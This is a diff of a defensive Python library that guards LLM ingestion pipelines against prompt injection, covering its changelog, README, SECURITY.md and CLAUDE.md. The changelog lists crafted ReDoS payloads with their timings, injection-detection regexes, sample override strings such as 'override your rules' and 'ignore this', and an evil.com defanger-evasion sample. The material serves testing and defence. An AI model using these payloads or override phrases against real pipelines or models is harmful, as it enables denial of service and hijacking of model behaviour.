> **The measured blast radius, for the record: zero.** `linkedin-studio` pins an
|
||||
> exact tag, so nothing reaches it until it re-pins. `llm-ingestion-okf` moved to
|
||||
> the range `>=0.3,<0.4` (their `f536e13`), so a 0.3.5 would have landed on them
|
||||
> at their next resolve without an action on their part — but they answered our
|
||||
> query (`20260802T193351Z`) with a measured **no**: zero call sites for
|
||||
> `sanitize` / `fence` / `neutralize` / `prepare_input` anywhere in their `src/`.
|
||||
> Their `screen_output` path reaches only `scan_output`, which truncates and does
|
||||
> not raise. Releasing as 0.4.0 puts this outside their ceiling regardless, so
|
||||
> they cross it deliberately rather than by resolving.
|
||||
|
||||
### Added — input-size cap on the transform surfaces (OWASP LLM10)
|
||||
|
||||
`sanitize`, `fence` and `neutralize` now raise `OversizeInputError` above
|
||||
`MAX_INPUT_CHARS` (1 000 000) instead of accepting text of any length. Since
|
||||
`sanitize` is step 1 of `prepare_input` and only ever *removes*, that single
|
||||
refusal bounds the whole input path.
|
||||
|
||||
They **reject** where the scanners **truncate**, and the asymmetry is the point:
|
||||
|
||||
- `scan_lexicon` / `scan_output` return findings. Reading a prefix costs
|
||||
detection in the tail and nothing else — a lossy answer, but an answer.
|
||||
- `sanitize` / `fence` / `neutralize` return *content*. Truncating would return
|
||||
a shortened document (silent data loss for anything that persists the result)
|
||||
or a transformed prefix followed by an untransformed tail — a bypass, since an
|
||||
attacker chooses where in the document the payload sits.
|
||||
|
||||
The invariant the three now keep: **returned text is always fully transformed,
|
||||
or not returned at all.**
|
||||
|
||||
`OversizeInputError` subclasses `ContractViolation`, so a pipeline already
|
||||
bracketing its quarantined stage in `except ContractViolation` keeps failing
|
||||
closed. Like its parent it is alert-routable: the message carries the size and
|
||||
the cap, `details` names the refusing surface, and neither carries input.
|
||||
`max_input_chars` is a per-call parameter, defaulting to the single calibrated
|
||||
constant.
|
||||
|
||||
### Added — the last two detection surfaces bound their input too
|
||||
|
||||
`scan_active_content` **called directly** and `okf.link_graph` were the two
|
||||
surfaces still reading attacker-supplied text with no cap. Both truncate and
|
||||
record, the way the other scanners do:
|
||||
|
||||
- `scan_active_content(text, source, max_scan_chars=MAX_SCAN_CHARS)` emits one
|
||||
`active:oversize-input` finding (MEDIUM, LLM10) and scans the prefix. Reached
|
||||
through `scan_output` the text is already under that surface's cap, so the flag
|
||||
is raised once, there — `max_scan_chars` is now passed down.
|
||||
- `link_graph(bundle, max_scan_chars=MAX_SCAN_CHARS)` caps each body and records
|
||||
`(from_id, body_length)` in the new `LinkGraphResult.truncated` field. The
|
||||
field is additive with a default, so existing positional construction and
|
||||
attribute access are unaffected.
|
||||
|
||||
**What truncation costs is named rather than implied:** past the cap, "no
|
||||
finding" means "not looked at". That is precisely what a silent truncation would
|
||||
hide, and why `truncated` exists as a field instead of a log line — it is what
|
||||
separates "no links past here" from "no links *read* past here".
|
||||
|
||||
Recorded in `docs/LIMITATIONS.md`.
|
||||
|
||||
|
||||
## [0.3.4] — 2026-08-01
|
||||
|
||||
> **Denial-of-service fix on the INPUT path. Upgrade from 0.3.3.** 0.3.3 swept
|
||||
> the 83 lexicon patterns arm by arm and left every other table on 0.3.2's
|
||||
> hand-written rows. Generalising the sweep over all eleven regex-bearing modules
|
||||
> found three more quadratic patterns — two of them on the input path, one in
|
||||
> `sanitize`, the first thing every ingested document touches. No disposition
|
||||
> changes: recall was measured case by case and nothing was lost. Earlier tags
|
||||
> are not moved.
|
||||
|
||||
### Fixed — three quadratic patterns, two on the input path
|
||||
|
||||
Same class as everything 0.3.2 and 0.3.3 fixed: a run in front of a **required**
|
||||
literal, so crafted input that never supplies the literal makes every start
|
||||
position rescan the tail. Each exponent is read across four doublings, not from a
|
||||
two-point ratio.
|
||||
|
||||
| Pattern | Crafted payload | Measured @ 100 000 | Exponent |
|
||||
|---|---|---|---|
|
||||
| `sanitize._HTML_COMMENT_RE` | `<!--` × N | **20.1 s** | 1.96–2.14 |
|
||||
| `active_content.URL_IN_TEXT_RE` | `<a ` + `A` × N + `>` | 12.99 s / 14.9 s | 1.87–2.22 |
|
||||
| `okf._MD_LINK_RE` | `[` × N | 7.1 s | 1.99–2.05 |
|
||||
|
||||
These are worse than the 0.3.3 findings, and the reason is a separate finding of
|
||||
its own: `MAX_SCAN_CHARS` is applied in `scan_lexicon` and `scan_output` **only**.
|
||||
`sanitize`, `neutralize`, `scan_active_content` and the okf link graph accept
|
||||
input of any size, so there is no cap to extrapolate to. Now documented as a
|
||||
residual in `docs/LIMITATIONS.md`; extending the cap into the input path changes
|
||||
the contract for existing callers and is deliberately not done in a ReDoS patch.
|
||||
|
||||
Each fix is the one the pattern's own shape allows — the 0.3.3 lesson that a fix
|
||||
choice must not be copied blindly from a neighbouring table:
|
||||
|
||||
- **`sanitize`** drops the regex for a `str.find` scan, semantically identical to
|
||||
the lazy `<!--.*?-->` it replaces. Excluding `<` from the run would lose every
|
||||
comment containing markup (`<!-- <b>x</b> -->` is the ordinary case); bounding
|
||||
the run would be a one-line carrier bypass of the exact construct the stripper
|
||||
exists to remove. The module's own "no catastrophic backtracking" comment was
|
||||
wrong in the same way `output`'s was before 0.3.2, and is corrected in place.
|
||||
- **`URL_IN_TEXT_RE`** bounds its scheme run to an RFC 3986 scheme (`{0,63}`).
|
||||
Bounding is safe *here* only because this is a defanger applied inside a tag
|
||||
already flagged `active:raw-html`, so padding shifts where the match starts
|
||||
rather than evading detection. A lookbehind killing interior start positions
|
||||
was measured too and **rejected**: it drops `-http://evil.com` and
|
||||
`.http://x.com`, a one-character evasion of the defanger. Bounded, the pattern
|
||||
runs in 0.185 s at the full 1 000 000-char cap.
|
||||
- **`okf._MD_LINK_RE`** excludes `[`, matching `active_content.MD_LINK_RE`
|
||||
exactly, including the nested-label trade already documented there.
|
||||
|
||||
### Changed — the sweep covers every regex surface, not one table
|
||||
|
||||
`docs/redos-sweep.py` now sweeps **150 patterns across 11 tables** (0.3.3 covered
|
||||
83 in one). The collector is mechanical on both axes so no one has to remember to
|
||||
list anything: it walks each module's namespace for compiled patterns, and it
|
||||
derives each pattern's call mode from the module source, because `.sub()` and
|
||||
`.finditer()` visit every start position where `.match()` cannot. A pattern
|
||||
reachable only through a helper parameter gets the worst mode, marked `*` — the
|
||||
fallback can over-measure but never miss.
|
||||
|
||||
Two arm shapes the generator cannot express are pinned by hand as a result: a tag
|
||||
that *closes* around a long body (repeating-unit payloads never close it), and a
|
||||
run of plain characters carrying no anchor at all. The `okf` destination run gets
|
||||
no row on purpose: `[^)\s]+` cannot fail, so a pin for it could never go red.
|
||||
|
||||
A lexicon candidate flagged at ×2.8 measured **linear** across four doublings
|
||||
(exponent 0.96–1.03) — the near-noise-floor false flag the script's own docstring
|
||||
warns about, confirmed a second time.
|
||||
|
||||
676 tests (+10). Coverage matrix unchanged at 128/128 caught, 6/6 gaps holding.
|
||||
|
||||
## [0.3.3] — 2026-07-31
|
||||
|
||||
> **Denial-of-service fix, and a correction to 0.3.2. Upgrade from 0.3.2.** The
|
||||
> sweep 0.3.2 shipped was incomplete, and it said otherwise. Two lexicon patterns
|
||||
> were still quadratic — reachable through `scan_output`, not only on the input
|
||||
> path. No disposition changes: recall was measured case by case and nothing was
|
||||
> lost. The v0.3.2 tag is not moved.
|
||||
|
||||
### Fixed — two quadratic patterns in the lexicon table
|
||||
|
||||
`8deca93` scoped the remaining ReDoS duty to the lexicon path, and this is that
|
||||
work: all 83 patterns measured, arm by arm. Two are quadratic, same shape as
|
||||
everything 0.3.2 fixed — a run in front of a **required** literal, where the run
|
||||
may cross the pattern's own opening anchor.
|
||||
|
||||
| Pattern (arm) | Crafted unit | Measured | At the 1 000 000-char cap |
|
||||
|---|---|---|---|
|
||||
| `markdown:link-anchor-injection` (anchor text) | `[` | 1.91 s @ 8 000 | **~8.3 hours** |
|
||||
| `markdown:link-anchor-injection` (URL run) | `[system](` | 0.006 s @ 8 000 | ~89 seconds |
|
||||
| `markdown:link-ref-comment` (`.*` run) | `[//]: # (` | 0.22 s @ 8 000 | **~1.0 hour** |
|
||||
|
||||
Exponent measured over five points (1 000 → 16 000): **1.98** — quadratic, not
|
||||
exponential. Legitimate content of the same size is unaffected: 0.316 s at
|
||||
N=100 000 (prose 0.316 / html 0.315 / markdown 0.297 / connection-string 0.296).
|
||||
|
||||
**These were not input-path-only, and that is the correction.** `scan_lexicon`
|
||||
runs on the output path too, so 0.3.2's *"the last quadratic-backtracking site on
|
||||
the output path"* was false when written. Measured through the public gate before
|
||||
this fix: `scan_output("[" * 100_000)` took **334.7 s**. The claim was too broad
|
||||
because the sweep behind it drove the `[` payload only through
|
||||
`scan_active_content` — no row ever drove it through the lexicon. The statement is
|
||||
corrected in `docs/LIMITATIONS.md`.
|
||||
|
||||
The fix is anchor exclusion, per the rule `active_content` already documents —
|
||||
bounding attacker-controlled content would be a one-line detection bypass. The
|
||||
excluded character is `(`, not `[`:
|
||||
|
||||
```
|
||||
markdown:link-anchor-injection
|
||||
\[[^\]\[]*(?:system|…)[^\]\[]*\]\([^)(]+\)
|
||||
markdown:link-ref-comment
|
||||
\[//\]:\s*#\s*\([^(\n]*(?:ignore|…)
|
||||
```
|
||||
|
||||
`[` was the obvious choice and it was measurably worse. Excluding `[` from the
|
||||
URL run drops `[override your rules](https://[::1]/x)` — still covered, three
|
||||
other patterns fire on it — but excluding `[` from the link-ref comment run drops
|
||||
`[//]: # (see [x] then ignore this)`, which **no other pattern catches**. The
|
||||
anchors contain `(` as well, so excluding `(` telescopes just as effectively at
|
||||
zero measured recall cost. Both forms verified linear (×1.99–2.02 on doubling).
|
||||
|
||||
### Known behaviour changes
|
||||
|
||||
- **None measured.** Every case that matched before still matches, except URLs
|
||||
containing a literal `(` inside a markdown link target and comment bodies
|
||||
containing a literal `(` before the keyword. No corpus, showcase, or coverage
|
||||
row moved; 666 tests pass.
|
||||
|
||||
### Tests
|
||||
|
||||
Four rows added. Three name the guilty pattern per arm
|
||||
(`test_crafted_redos_payload_stays_bounded_in_the_lexicon`), one covers the
|
||||
composed gate (`test_gate_is_bounded_on_the_payload_the_first_sweep_missed`).
|
||||
Pre-fix they failed at 297 s, 8.1 s, 55 s and 334.7 s.
|
||||
|
||||
`N` is per row deliberately. The URL arm is quadratic with a small constant and
|
||||
ran 0.9 s **unfixed** at N=100 000 — under the 2.0 s bound, so that row would have
|
||||
passed whether or not the pattern was fixed. It is measured at N=300 000 instead,
|
||||
where crafted (8.10 s) and legitimate (0.926 s) separate 8.8×.
|
||||
|
||||
### Residual
|
||||
|
||||
The sweep flags on timing and ignores measurements below a 1.5 ms noise floor at
|
||||
N=8 000. An arm hiding just under it could still cost **~23 s** at the cap, so what
|
||||
this supports is *"no arm worse than ~23 s"*, not *"no quadratic arm remains"*.
|
||||
The blind spot is not hypothetical: a generic-payload pass found only one of the
|
||||
two patterns. The second appeared only once payloads were synthesised per run
|
||||
from each pattern's own skeleton. Recorded in `docs/LIMITATIONS.md`.
|
||||
|
||||
## [0.3.2] — 2026-07-31
|
||||
|
||||
|
|
|
|||
29
CLAUDE.md
29
CLAUDE.md
|
|
@ -11,15 +11,33 @@ framework-agnostisk kode.
|
|||
Referanse-implementasjon: `claude-code-llm-wiki` Stage B (`tools/wiki_ingest/`).
|
||||
Lexikon-seed: `injection-patterns.mjs` fra `llm-security`-pluginen.
|
||||
|
||||
Repoet er på **v0.2 (alpha)**: stdlib-kjernen er bygget og testet (12 moduler +
|
||||
Repoet er på **v1.2.0** — den eksporterte Python-surfacen er frosset under semver
|
||||
(deteksjonsatferd er det IKKE; kalibrering flytter seg i 1.x). Stdlib-kjernen er
|
||||
bygget og testet (15 moduler +
|
||||
topp-nivå wiring, showcase + korpus), inkl. OKF-adapter og aktivt-innhold-
|
||||
detektor (EchoLeak-klassen) i output-gaten. Mode-b `import_bundle` skanner
|
||||
detektor (EchoLeak-klassen) i output-gaten. OKF-frontmatterens mapping-klasse
|
||||
har **én** uttrykkbar form (G3, 21.08): en flow-mapping (`generated: { by: x, at: y }`) — som verdi eller som blokkliste-
|
||||
element — der HVER nøkkel står på en ni-navns allowlist og hvert blad er en ren
|
||||
skalar. Formen er trygg fordi allowlisten inspiserer hver nøkkel; det blanke
|
||||
avslaget var håndhevelsen, ikke poenget. `resource` er bevisst UTE av
|
||||
allowlisten (peker, ikke etikett — den ene nøkkelen T3 finnes for). Blokk-,
|
||||
dotted- og inline-kolon-rutene raiser fortsatt, og en avvist mapping raiser —
|
||||
den degraderer aldri til en streng (1.1.0-defekten). Mode-b `import_bundle` skanner
|
||||
reserverte strukturfiler (`index.md`/`log.md`) i mottatte bundles i stedet for å
|
||||
path-avvise dem; upload-front-end beholder shadow-reject (`allow_reserved=False`).
|
||||
Output-gatens decode-and-rescan mater dekodet base64-klartekst gjennom BÅDE lexicon
|
||||
og secret-egress (LLM02), så en base64-innpakket credential fanges som
|
||||
`decoded:egress:*` i stedet for å forsvinne; hex-innpakket er en dokumentert
|
||||
restgap (entropy eksponerer kun base64-klartekst).
|
||||
restgap (entropy eksponerer kun base64-klartekst). `active:raw-html` krever et
|
||||
EKSTERNT mål på URL-attributt-grenen, og `<base>` er ute av det aktive navnesettet;
|
||||
scanner og mutator har hver sin predikat (`is_active_tag` / `is_defangable_tag`).
|
||||
Rå HTML graderes nå også på BÆRER: `<a>`/`<area>` er klikk-krevende og rapporteres
|
||||
som `active:raw-html-link` (MEDIUM), og en tagg hvis hele affordans ER en URL den
|
||||
ikke bærer (`</a>`, `<Frame>`, `<video />`) er inert. Klassifisering skjer i
|
||||
`active_tag_class`; `is_active_tag` er en tynn wrapper, og census patcher den
|
||||
FØRSTE (en boolsk patch kan ikke uttrykke en regradering).
|
||||
ZWJ (U+200D) dømmes på KONTEKST, ikke identitet — unntas kun mellom to emoji, på
|
||||
begge flater (`sanitize` eier predikatet, `output` importerer det).
|
||||
Start med `docs/BRIEF.md` for design, `README.md` for bruk, `docs/PLAN.md` for
|
||||
byggerekkefølgen.
|
||||
|
||||
|
|
@ -42,6 +60,7 @@ When pointing to local files in responses, always use markdown link syntax with
|
|||
|
||||
Why: bare `file://` URLs only render the first as clickable across multiple lines. Named markdown links make each entry independently clickable and look cleaner.
|
||||
|
||||
Example:
|
||||
Example (the path is a placeholder — the checkout root is the reader's own, and
|
||||
this file is published, so it must not carry one machine's directory layout):
|
||||
|
||||
- [Brief](file:///Users/ktg/repos/llm-ingestion-pipeline-security/docs/BRIEF.md)
|
||||
- [Brief](file:///absolute/path/to/llm-ingestion-pipeline-security/docs/BRIEF.md)
|
||||
|
|
|
|||
|
|
@ -59,7 +59,7 @@ The suite is the release gate: a change is not done until the whole suite is gre
|
|||
## Scope and honest limits
|
||||
|
||||
New detection is welcome, but the project ships its **limitations** as a control (see
|
||||
`README.md` → *Honest limitations*). If a change narrows a stated gap, update that
|
||||
`README.md` → *Known limitations*). If a change narrows a stated gap, update that
|
||||
section. If it introduces a new deliberate boundary, document it there rather than
|
||||
leaving a silent miss. Absolute claims ("catches all …", "cannot be bypassed") do not
|
||||
belong in this codebase.
|
||||
|
|
|
|||
82
README.md
82
README.md
|
|
@ -1,9 +1,10 @@
|
|||
# llm-ingestion-guard
|
||||
|
||||

|
||||

|
||||
Write-time defensive layer for Python pipelines that persist LLM output: sanitize, fence, tool-less quarantined transform, capability isolation, scan before persist, fail-secure.
|
||||
|
||||

|
||||

|
||||

|
||||

|
||||

|
||||
|
||||
**Write-time ingestion is the trust boundary that query-time guardrails
|
||||
|
|
@ -32,17 +33,32 @@ at write time, never assumed from the format. Any pipeline ingesting external da
|
|||
into an agent-read store has this shape; an OKF wiki is its canonical form — which
|
||||
is why the guard ships a first-class OKF adapter (below).
|
||||
|
||||
**Status:** `v0.3`, alpha. The stdlib-only core — its detector, contract, and
|
||||
**Status:** `v1.2.0`. The stdlib-only core — its detector, contract, and
|
||||
OKF-adapter modules plus the top-level wiring — is built and tested, exercised by
|
||||
an end-to-end showcase and adversarial + false-positive corpora. The public API
|
||||
may still change. There are real limitations, stated plainly below; read them.
|
||||
an end-to-end showcase and adversarial + false-positive corpora. The exported
|
||||
Python surface is now frozen under semver: nothing exported is removed, renamed or
|
||||
given a different meaning without a `2.0.0`. **Detection behaviour is not frozen** —
|
||||
severities, thresholds and lexicon entries are calibration and move in `1.x`. There
|
||||
are real limitations, stated plainly below; read them.
|
||||
|
||||
## Table of Contents
|
||||
|
||||
- [Install](#install)
|
||||
- [Quickstart — the two bookends](#quickstart--the-two-bookends)
|
||||
- [OKF / LLM-wiki support (shipped)](#okf--llm-wiki-support-shipped)
|
||||
- [What it protects against](#what-it-protects-against)
|
||||
- [The reusable contract (adopt-this checklist)](#the-reusable-contract-adopt-this-checklist)
|
||||
- [Known limitations](#known-limitations)
|
||||
- [Non-goals](#non-goals)
|
||||
- [Design & threat model](#design--threat-model)
|
||||
- [License](#license)
|
||||
|
||||
## Install
|
||||
|
||||
Not on PyPI. The guard is distributed from its Forgejo origin — pin a release tag:
|
||||
|
||||
```bash
|
||||
pip install "llm-ingestion-guard @ git+https://git.fromaitochitta.com/open/llm-ingestion-pipeline-security.git@v0.3.2"
|
||||
pip install "llm-ingestion-guard @ git+https://git.fromaitochitta.com/open/llm-ingestion-pipeline-security.git@v1.2.0"
|
||||
```
|
||||
|
||||
The `open/` mirror is anonymously readable, so CI needs no deploy key, token, or
|
||||
|
|
@ -53,10 +69,18 @@ are not required — the core is deterministic and dependency-free.
|
|||
**Tags are the stable contract.** Every release is version-synced before tagging,
|
||||
and published tags are never moved.
|
||||
|
||||
**Verify it yourself — nothing runs the suite automatically.** There is no CI
|
||||
runner on the forge, so the test count is not something a badge can honestly
|
||||
assert. From a clean clone:
|
||||
|
||||
```bash
|
||||
pip install -e ".[dev]" && pytest # the whole suite
|
||||
```
|
||||
|
||||
Two consequences worth knowing before you depend on this:
|
||||
|
||||
- A git URL is a PEP 508 *direct reference*: it pins one exact tag, not a range
|
||||
like `>=0.2,<0.3`. Real range pinning — and therefore automatic pickup of patch
|
||||
like `>=1.0,<2.0`. Real range pinning — and therefore automatic pickup of patch
|
||||
releases — arrives with a Forgejo PyPI registry, which becomes the durable
|
||||
channel at the first patch release or the second downstream consumer, whichever
|
||||
comes first. The distribution name (`llm-ingestion-guard`) and the version
|
||||
|
|
@ -90,6 +114,18 @@ the disposition is `FAIL_SECURE`, never a silent persist. Pass
|
|||
together with a transform failure is treated as a probable forced-fallback attack
|
||||
and halts regardless of trust tier.
|
||||
|
||||
**New in `v0.4.0`, and the reason for the major-line bump.** `prepare_input` fails
|
||||
**closed** on size too: above `MAX_INPUT_CHARS` (1 000 000) it raises
|
||||
`OversizeInputError`, a `ContractViolation` subclass, rather than returning a
|
||||
half-sanitized document. If you call `sanitize` / `fence` / `neutralize` on
|
||||
documents that large, this is the upgrade that needs a `try` — everything else in
|
||||
0.4.0 is additive. The scanners bound their work differently: they read a prefix
|
||||
and flag, which costs only detection in the tail. A transform returns *content*,
|
||||
where the same move would either drop your data silently or hand back an
|
||||
untransformed tail — the exact place an attacker would put the payload. Catch it
|
||||
where you catch your other ingest refusals; the exception carries sizes and the
|
||||
refusing surface, never any of the input.
|
||||
|
||||
Every primitive is also exported for pipelines that compose the checklist
|
||||
themselves — `sanitize`, `scan_lexicon`, `scan_entropy`, `scan_output`,
|
||||
`scan_active_content`, `neutralize`, the `decide` / `guard` disposition
|
||||
|
|
@ -129,7 +165,15 @@ Per-concept gates: **path / reserved-name** (rejects `..` traversal and reserved
|
|||
reject-by-default loader that refuses anchors, aliases, and explicit tags *by
|
||||
construction*, so a billion-laughs alias expansion or a `!!python/object` coercion
|
||||
cannot occur (it is deliberately **not** a general YAML engine, whose own features
|
||||
are the attack surface); **`resource` https-allowlist** (hard-rejects
|
||||
are the attack surface). The one mapping form it accepts is OKF v0.2's flow
|
||||
mapping — `generated: { by: x, at: y }`, `verified: { … }` bare or listed,
|
||||
`usage_window: { from: …, to: … }` — admitted key-by-key against a nine-name
|
||||
allowlist (`by`, `at`, `from`, `to`, `id`, `title`, `author`, `usage_count`,
|
||||
`last_modified`) with plain-scalar leaves only. A key off that list, a nested
|
||||
collection or a duplicate key is refused, and `resource` is deliberately not on
|
||||
it; the block, dotted and inline-colon routes to a mapping still raise. See
|
||||
[LIMITATIONS](docs/LIMITATIONS.md) for what that admits and what it still walls
|
||||
off (a `sources` block list of mappings is still refused); **`resource` https-allowlist** (hard-rejects
|
||||
`data:`/`javascript:`/`file:` before commit — a reject-gate, not defang);
|
||||
**whole-concept scan** (frontmatter *values* + body through `scan_output`);
|
||||
**cross-link graph** (surfaces dangling targets, the dormant-injection signal, and
|
||||
|
|
@ -143,7 +187,7 @@ driven by a **live payload** in the coverage matrix — run it to watch all 134
|
|||
in your own environment:
|
||||
|
||||
```bash
|
||||
python -m llm_ingestion_guard.coverage # 126/126 classes; exit 0 = all as documented
|
||||
python -m llm_ingestion_guard.coverage # 130/130 classes; exit 0 = all as documented
|
||||
```
|
||||
|
||||
| Anchor | Attack classes it stops (representative) |
|
||||
|
|
@ -162,7 +206,7 @@ source of truth for
|
|||
total recall over every class, that every documented gap still holds (a closed gap
|
||||
fails the test), and that every lexicon pattern has a case — so the matrix cannot
|
||||
fall behind the code. The four classes it deliberately does **not** stop are called
|
||||
out in [Honest limitations](#honest-limitations).
|
||||
out in [Known limitations](#known-limitations).
|
||||
|
||||
## The reusable contract (adopt-this checklist)
|
||||
|
||||
|
|
@ -190,7 +234,7 @@ The actual product is this checklist, encoded as code you wire in order:
|
|||
Steps 1-2 are `prepare_input`; steps 6-7 are `screen_output`; steps 3-5 are
|
||||
yours; the contract asserters harden step 3-4.
|
||||
|
||||
## Honest limitations
|
||||
## Known limitations
|
||||
|
||||
Conceding these plainly is itself a control — it prevents the false assurance that
|
||||
a green scan means safe content. The highest-impact items:
|
||||
|
|
@ -214,12 +258,22 @@ a green scan means safe content. The highest-impact items:
|
|||
- **Six documented gaps** the coverage matrix keeps honest: hex-wrapped secret
|
||||
egress, semantic poisoning, trusted-prose lone-HIGH, lexicon dedup (`count=1`),
|
||||
pure beaconing, and short opaque URL segments.
|
||||
- **The upload door is a review queue, not an auto-persist path — measured.** On
|
||||
three benign document populations, `PRESET_USER_UPLOAD` disposed **98 of 185**
|
||||
(53.0%), **88 of 547** (16.1%) and **133 of 389** (34.2%) documents to something
|
||||
other than WARN. Technical documentation is the expensive case: it is dense in the
|
||||
exact constructs the gate grades. Budget human review, or run a source you actually
|
||||
trust as trusted. Re-run it yourself with [`docs/fp-sweep.py`](docs/fp-sweep.py).
|
||||
Those three are the published pre-0.6.0 numbers; the raw-HTML narrowing in 0.6.0
|
||||
moves them to **108**, **98** and **88** measured against current corpus state —
|
||||
two of the three corpora are living, so the cells are not rewritten in place.
|
||||
Method and before/after: [`docs/rawhtml-census.py`](docs/rawhtml-census.py).
|
||||
|
||||
**Full list — 29 items, each with the mechanism, plus the out-of-scope boundary:**
|
||||
**Full list — 44 items, each with the mechanism, plus the out-of-scope boundary:**
|
||||
[`docs/LIMITATIONS.md`](docs/LIMITATIONS.md). Several carry field measurements from
|
||||
consumer corpora, including the false positives the URL-shape rule actually produces.
|
||||
|
||||
## Out-of-scope (documented boundary)
|
||||
## Non-goals
|
||||
|
||||
Embedding/vector-layer defenses (OWASP LLM08, downstream of persist); multimodal
|
||||
steganography; query-time / runtime guardrails; semantic factuality verification.
|
||||
|
|
|
|||
41
SECURITY.md
41
SECURITY.md
|
|
@ -6,21 +6,31 @@ downstream corpus. Reports are welcome.
|
|||
|
||||
## Supported versions
|
||||
|
||||
The project is pre-1.0 (`0.2.x`, alpha). Only the latest published version receives
|
||||
fixes; there are no back-ported security branches yet. Pin a version and watch the
|
||||
`CHANGELOG.md` `### Security` entries.
|
||||
The project is `1.x`. Only the latest published version receives fixes; there are no
|
||||
back-ported security branches. Pin a version and watch the `CHANGELOG.md`
|
||||
`### Security` entries.
|
||||
|
||||
**What `1.0.0` freezes, and what it does not.** The freeze is a semver promise about
|
||||
the *Python surface*: no name exported from `llm_ingestion_guard` is removed, renamed
|
||||
or given a different meaning without a `2.0.0`. It is **not** a promise that detection
|
||||
behaviour holds still. Severities, thresholds, lexicon entries and the dispositions
|
||||
they produce are calibration, and calibration moves in minor and patch releases — a
|
||||
payload that disposes `WARN` on `1.0.0` may dispose `FAIL_SECURE` on a later `1.x`,
|
||||
and that is a fix rather than a break. Pin a version if you depend on a specific
|
||||
grading, and assert on the disposition your policy requires rather than on a severity
|
||||
you happened to observe.
|
||||
|
||||
## Reporting a vulnerability
|
||||
|
||||
**Do not open a public issue for a vulnerability.** Public disclosure before a fix
|
||||
gives an attacker a window against every downstream consumer.
|
||||
|
||||
Instead, report it **privately** to the maintainer via the canonical repository on
|
||||
Forgejo:
|
||||
Instead, report it privately to <security@fromaitochitta.com> — mark the subject
|
||||
`SECURITY`.
|
||||
|
||||
- Repository: `git.fromaitochitta.com/open/llm-ingestion-pipeline-security`
|
||||
- Contact the maintainer directly through that Forgejo instance (private message /
|
||||
maintainer contact) and mark the subject `SECURITY`.
|
||||
- Canonical repository: https://git.fromaitochitta.com/open/llm-ingestion-pipeline-security
|
||||
- Alternatively, contact the maintainer directly through that Forgejo instance
|
||||
(private message / maintainer contact) and mark the subject `SECURITY`.
|
||||
|
||||
Please include:
|
||||
|
||||
|
|
@ -43,14 +53,25 @@ In scope (a real finding):
|
|||
closed;
|
||||
- a ReDoS or unbounded-resource input against the scanner.
|
||||
|
||||
Out of scope (documented boundaries — see the **Honest limitations** section of
|
||||
Out of scope (documented boundaries — see the **Known limitations** section of
|
||||
`README.md`, not vulnerabilities):
|
||||
|
||||
- semantic / factual poisoning invisible to lexicon + entropy;
|
||||
- a HIGH finding in *trusted* prose disposing to `WARN` (§4.7 trust-scaling);
|
||||
- hex-wrapped (non-base64) secret egress;
|
||||
- multimodal / binary-layer carriers (OCR, font stego, VBA/macros, encrypted files);
|
||||
- the multilingual homoglyph-mix false positive.
|
||||
- the multilingual homoglyph-mix false positive;
|
||||
- a low `Severity` on an ordinary outward fetch — on the detection side 1.x does not
|
||||
separate *what was seen* from *how bad it is*, so read the finding `id` for the
|
||||
capability;
|
||||
- the input-cap asymmetry at `MAX_INPUT_CHARS`: surfaces that return content raise
|
||||
`OversizeInputError`, surfaces that return findings truncate and emit
|
||||
`active:oversize-input`. Past the cap, "no finding" means "not looked at".
|
||||
|
||||
The last two are conceded for the whole of `1.x`, deliberately and in writing
|
||||
(`docs/LIMITATIONS.md`): closing either changes an exported symbol's meaning and is
|
||||
therefore a `2.0.0` change. The homoglyph false positive is conceded differently — no
|
||||
fix is promised, but it is calibration, so one may land in any `1.x` release.
|
||||
|
||||
If you are unsure whether something is in scope, report it privately anyway.
|
||||
|
||||
|
|
|
|||
|
|
@ -4,9 +4,11 @@
|
|||
especially one converging on Google's Open Knowledge Format (OKF v0.1) — and needs
|
||||
to decide **when** and **where** to add a write-time ingestion guard.
|
||||
|
||||
**Status of the guard:** `v0.2` (alpha). Stdlib-only core, framework-agnostic.
|
||||
Public API may still change. Read the honest-limitations section before you rely
|
||||
on it.
|
||||
**Status of the guard:** `v1.2.0`. Stdlib-only core, framework-agnostic. The
|
||||
exported Python surface is frozen under semver — nothing exported is removed,
|
||||
renamed or given a different meaning without a `2.0.0`. Detection behaviour is
|
||||
*not* frozen: severities, thresholds and lexicon entries are calibration and move
|
||||
in `1.x`. Read the known-limitations section before you rely on it.
|
||||
|
||||
This brief is self-contained: you can plan an inclusion from it alone. Every
|
||||
technical claim below is checkable against the guard repo (commands given inline).
|
||||
|
|
@ -140,9 +142,9 @@ live payload:
|
|||
python -m llm_ingestion_guard.coverage # exit 0 = all as documented
|
||||
```
|
||||
|
||||
As of `v0.2`: **126 / 126 defended classes demonstrated (recall 100%)** and **4 /
|
||||
4 documented gaps still hold** (a *closed* gap fails the test, forcing a doc
|
||||
update). The matrix is the single source of truth for the test suite (**522
|
||||
As of `v1.2.0`: **130 / 130 defended classes demonstrated (recall 100%)** and **6 /
|
||||
6 documented gaps still hold** (a *closed* gap fails the test, forcing a doc
|
||||
update). The matrix is the single source of truth for the test suite (**834
|
||||
passing**), which also asserts total recall, that every lexicon pattern has a
|
||||
case (so the matrix cannot fall behind the lexicon), the full LLM02 secret-egress
|
||||
set, and the container-layer front-end (CSV formula-injection, zip-slip/bomb,
|
||||
|
|
@ -194,10 +196,10 @@ untrusted ingest path goes live*, wired at the point where enriched content is
|
|||
committed. If today you only have first-party ingest, note the guard as a
|
||||
dependency to add when (not if) you open an external/inbox/received-bundle path.
|
||||
|
||||
## 8. Honest limitations (read these — a green scan is not "safe")
|
||||
## 8. Known limitations (read these — a green scan is not "safe")
|
||||
|
||||
Conceding these is itself a control. The full list is in the guard's `README.md`
|
||||
("Honest limitations"); the ones that matter most for a wiki/second-brain:
|
||||
("Known limitations"); the ones that matter most for a wiki/second-brain:
|
||||
|
||||
- **Semantic / factual poisoning is invisible** to lexicon + entropy: a
|
||||
plausible-but-wrong concept (wrong join-path, wrong metric, wrong runbook step)
|
||||
|
|
@ -225,7 +227,7 @@ Conceding these is itself a control. The full list is in the guard's `README.md`
|
|||
|
||||
## 9. Where to read more (in the guard repo)
|
||||
|
||||
- `README.md` — usage, the full contract, and the complete honest-limitations list.
|
||||
- `README.md` — usage, the full contract, and the complete known-limitations list.
|
||||
- `docs/BRIEF.md` — design rationale and the nearest-neighbour survey (§11).
|
||||
- `docs/OKF-INGESTION-BRIEF.md` — the OKF threat-surface analysis (frontmatter,
|
||||
`resource`, cross-link graph, reserved names, provenance) the adapter implements.
|
||||
|
|
|
|||
|
|
@ -3,7 +3,7 @@
|
|||
**A reusable, minimal, dependency-light defensive layer for LLM *ingestion*
|
||||
